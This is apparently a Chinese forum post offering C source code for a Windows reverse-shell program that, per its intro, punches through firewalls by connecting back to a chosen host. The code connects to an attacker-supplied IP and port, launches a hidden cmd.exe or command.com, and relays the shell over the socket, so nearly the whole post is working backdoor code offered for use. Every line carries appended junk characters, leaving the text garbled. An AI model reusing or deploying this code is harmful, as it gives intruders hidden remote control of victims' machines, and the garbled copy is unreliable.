这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e0$mu?wd-
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/* ============================== l&|{uk
Rebound port in Windows NT !k s<VJh
By wind,2006/7 vy#c(:UQR
===============================*/ _b5iR<f
#include bZG$ biq
#include
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#pragma comment(lib,"wsock32.lib") F`-[h)e.
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void OutputShell(); %@xYg{
SOCKET sClient; KdR&OBm
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f:UN~z'yr
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void main(int argc,char **argv) }`M6+.z3F
{ 4xYo2X,B
WSADATA stWsaData; X_YD[
int nRet; V3+%KkN
SOCKADDR_IN stSaiClient,stSaiServer; EV(/@kN2
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if(argc != 3) eoL)gIM%
{ +nZG!nP
printf("Useage:\n\rRebound DestIP DestPort\n"); #-f^;=7
return; (gmB$pwS
} i,<-+L$z
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WSAStartup(MAKEWORD(2,2),&stWsaData); j?mJ1J5
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NkJ^ecn%)
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stSaiClient.sin_family = AF_INET; "Jwz.,Y\
stSaiClient.sin_port = htons(0); 2kgm)-z
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &%bX&;ECzf
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .F6#s
{ g Q9ff,
printf("Bind Socket Failed!\n"); kL3=7t^ 1
return; &
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} X@G`AD'.M
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stSaiServer.sin_family = AF_INET; 8xv\Zj +
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o{hKt?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i:$g1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ( 0h]<7
{ i~9)Hz;!
printf("Connect Error!"); >@%!r
return; x('yBf
} `^}9= Q'r
OutputShell(); tp]|/cx4
} !INr
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void OutputShell() 5a~1RL
{ I|5OCTu
char szBuff[1024]; \wCL)t.cX
SECURITY_ATTRIBUTES stSecurityAttributes; \*N1i`99
OSVERSIONINFO stOsversionInfo; P}I*SV0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [KKoEZ
STARTUPINFO stStartupInfo; h`Mf;'P
char *szShell; p(8\w-6
PROCESS_INFORMATION stProcessInformation; CP'-CQ\Q
unsigned long lBytesRead; 7.t$#fzi
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Cnr48ukq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b1OB'P8
stSecurityAttributes.lpSecurityDescriptor = 0; k$>T(smh
stSecurityAttributes.bInheritHandle = TRUE; !v`=EF.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;$i'A&)OC
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2P=;r:cx
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <*+MBF
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ivq4/Y]-X
stStartupInfo.wShowWindow = SW_HIDE; hMQaT-v
stStartupInfo.hStdInput = hReadPipe; 0>`69&;g|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; smU+:~
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GetVersionEx(&stOsversionInfo); >gE_?%a[
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switch(stOsversionInfo.dwPlatformId) x,%&[6(
{ Qi61(lK
case 1: 3C2>
szShell = "command.com"; &M!:,B
break; &)l:m.
default: i&$uG[&P
szShell = "cmd.exe"; v+G:,Tc"
break; ;D1IhDC
} W#[!8d35$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1 W u
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send(sClient,szMsg,77,0); p1nA7;B-m
while(1) 2&m7pcls
{ 1#(1Bs6X
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "J#:PfJ%
if(lBytesRead) ^~ Sn{esA
{ f+V':qz
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "->:6Oe2
send(sClient,szBuff,lBytesRead,0); "Tv7*3>
} ~-+Zu<
else 'gGB-=yvbO
{ bv/b<N@4?$
lBytesRead=recv(sClient,szBuff,1024,0); wO#+8js
if(lBytesRead<=0) break; f<wgZM
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Tt\w^Gv\d
} K5SO($
} YSgF'qq\
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return; l+6(|"md
}